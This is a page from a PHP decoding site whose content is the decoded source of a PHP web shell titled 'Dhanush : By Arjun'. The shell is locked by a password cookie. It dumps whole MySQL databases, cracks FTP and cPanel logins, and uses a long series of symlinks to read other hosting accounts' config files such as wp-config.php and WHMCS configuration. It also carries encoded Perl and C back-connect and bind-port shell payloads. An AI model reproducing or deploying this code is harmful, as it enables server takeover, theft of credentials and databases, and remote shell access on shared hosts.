Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $user = "X"; $pass = "X"; $malsite = "http://fightagent.ru"; // Malware Site..
Decoded Output download
?>b'<?php
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
if($_GET["action"] == "dumpDB")
{
$self=$_SERVER["PHP_SELF"];
if(isset($_COOKIE[\'dbserver\']))
{
$date = date("Y-m-d");
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
$file = "Dump-$dbname-$date";
$file="Dump-$dbname-$date.sql";
$fp = fopen($file,"w");
function write($data)
{
global $fp;
fwrite($fp,$data);
}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables))
{
$i = $i[\'Tables_in_\'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create[\'Create Table\'].";");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "\'".mysql_escape_string($k)."\'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");");
}
}
}
fclose ($fp);
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Dhanush : By Arjun</title>
<script type="text/javascript">
checked = false;
function checkedAll ()
{
if (checked == false){checked = true}else{checked = false}
for (var i = 0; i < document.getElementById(\'myform\').elements.length; i++)
{
document.getElementById(\'myform\').elements[i].checked = checked;
}
}
function showMsg(msg)
{
if(msg == \'smf\')
{
document.getElementById(\'prefix\').value="smf_";
document.getElementById(\'fid\').style.display=\'block\';
document.getElementById(\'wpress\').style.display=\'none\';
document.getElementById(\'joomla\').style.display=\'none\';
}
if(msg == \'phpbb\')
{
document.getElementById(\'prefix\').value="phpb_";
document.getElementById(\'wpress\').style.display=\'none\';
document.getElementById(\'joomla\').style.display=\'none\';
document.getElementById(\'fid\').style.display=\'block\';
}
if(msg == \'mybb\')
{
document.getElementById(\'prefix\').value="mybb_";
document.getElementById(\'wpress\').style.display=\'none\';
document.getElementById(\'joomla\').style.display=\'none\';
document.getElementById(\'fid\').style.display=\'block\';
}
if(msg == \'ipb\' || msg == \'vb\')
{
document.getElementById(\'prefix\').value="";
document.getElementById(\'wpress\').style.display=\'none\';
document.getElementById(\'joomla\').style.display=\'none\';
document.getElementById(\'fid\').style.display=\'block\';
}
if(msg == \'wp\')
{
document.getElementById(\'prefix\').value="wp_";
document.getElementById(\'wpress\').style.display=\'block\';
document.getElementById(\'fid\').style.display=\'none\';
document.getElementById(\'joomla\').style.display=\'none\';
}
if(msg == \'joomla\')
{
document.getElementById(\'joomla\').style.display=\'block\';
document.getElementById(\'prefix\').value="jos_";
document.getElementById(\'wpress\').style.display=\'none\';
document.getElementById(\'fid\').style.display=\'none\';
}
}
function checkforum(msg)
{
if(msg == \'smf\')
{
document.getElementById(\'prefix\').value="smf_";
document.getElementById(\'smfipb\').style.display=\'block\';
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'wordpres\').style.display=\'none\';
}
if(msg == \'phpbb\')
{
document.getElementById(\'prefix\').value="phpb_";
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'smfipb\').style.display=\'block\';
document.getElementById(\'wordpres\').style.display=\'none\';
}
if(msg == \'mybb\')
{
document.getElementById(\'prefix\').value="mybb_";
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'smfipb\').style.display=\'none\';
}
if(msg == \'vb\')
{
document.getElementById(\'prefix\').value="";
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'smfipb\').style.display=\'none\';
}
if(msg == \'ipb\')
{
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'smfipb\').style.display=\'block\';
document.getElementById(\'prefix\').value="";
document.getElementById(\'wordpres\').style.display=\'none\';
}
if(msg == \'wp\')
{
document.getElementById(\'prefix\').value="wp_";
document.getElementById(\'myjoomla\').style.display=\'none\';
document.getElementById(\'smfipb\').style.display=\'block\';
document.getElementById(\'wordpres\').style.display=\'block\';
}
if(msg == \'joomla\')
{
document.getElementById(\'myjoomla\').style.display=\'block\';
document.getElementById(\'prefix\').value="jos_";
document.getElementById(\'smfipb\').style.display=\'none\';
}
}
</script>
<style type="text/css">
<!--
body,td,th {
color: #FF0000;
font-size: 14px;
}
input.but {
background-color:#000000;
color:#FF0000;
border : 1px solid #1B1B1B;
}
a:link {
color: #00FF00;
text-decoration:none;
font-weight:600;
}
a:hover {
color:#00FF00;
text-decoration:underline;
}
font.txt
{
color: #00FF00;
text-decoration:none;
font-size:14px;
}
font.mainmenu
{
color:#FF0000;
text-decoration:none;
font-size:14px;
}
a:visited {
color: #006600;
}
input.box
{
background-color:#0C0C0C;
color: lime;
border : 1px solid #1B1B1B;
-moz-border-radius:6px;
width:400;
border-radius:6px;
}
input.sbox
{
background-color:#0C0C0C;
color: lime;
border : 1px solid #1B1B1B;
-moz-border-radius:6px;
width:180;
border-radius:6px;
}
select.sbox
{
background-color:#0C0C0C;
color: lime;
border : 1px solid #1B1B1B;
-moz-border-radius:6px;
width:180;
border-radius:6px;
}
select.box
{
background-color:#0C0C0C;
color: lime;
border : 1px solid #1B1B1B;
-moz-border-radius:6px;
width:400;
border-radius:6px;
}
textarea.box
{
border : 3px solid #111;
background-color:#161616;
color : lime;
margin-top: 10px;
-moz-border-radius:7px;
border-radius:7px;
}
body {
background-color:#000000;
}
.myphp table
{
width:100%;
padding:18px 10px;
border : 1px solid #1B1B1B;
}
.myphp td
{
background:#111111;
color:#00ff00;
padding:6px 8px;
border-bottom:1px solid #222222;
font-size:14px;
}
.myphp th, th
{
background:#181818;
}
-->
</style>
<body>
<?php
if(isset($_COOKIE[\'hacked\']) && $_COOKIE[\'hacked\']==md5($pass))
{
$self=$_SERVER["PHP_SELF"];
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
$SEPARATOR = \'\\';
$os = "Windows";
$directorysperator="\";
}
else if(stristr(php_uname(),"Linux"))
{
$os = "Linux";
$directorysperator=\'/\';
}
function Trail($d,$directsperator)
{
$d=explode($directsperator,$d);
array_pop($d);
array_pop($d);
$str=implode($d,$directsperator);
return $str;
}
function ftp_check($host,$user,$pass,$timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "<center><b>
Error : Connection Timeout.
Please Check The Target Hostname .</b></center>";exit;
}
else if ( curl_errno($ch) == 0 )
{
print "<center><b>[~]</b><font class=txt>
Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
}
curl_close($ch);
}
function cpanel_check($host,$user,$pass,$timeout)
{
global $cpanel_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{ print "<center><b>Error : Connection Timeout.
Please Check The Target Hostname.</b></center>";exit;}
else if ( curl_errno($ch) == 0 ){
print "<ecnter><b>[~]</b><font class=txt><b>
Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
}
curl_close($ch);
}
function syml($usern,$pdomain)
{
symlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/inc/config.php\',$pdomain.\'~~mybb.txt\');
symlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/inc/config.php\',$pdomain.\'~~mybb.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/inc/config.php\',$pdomain.\'~~mybb.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/inc/config.php\',$pdomain.\'~~mybb.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb5.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
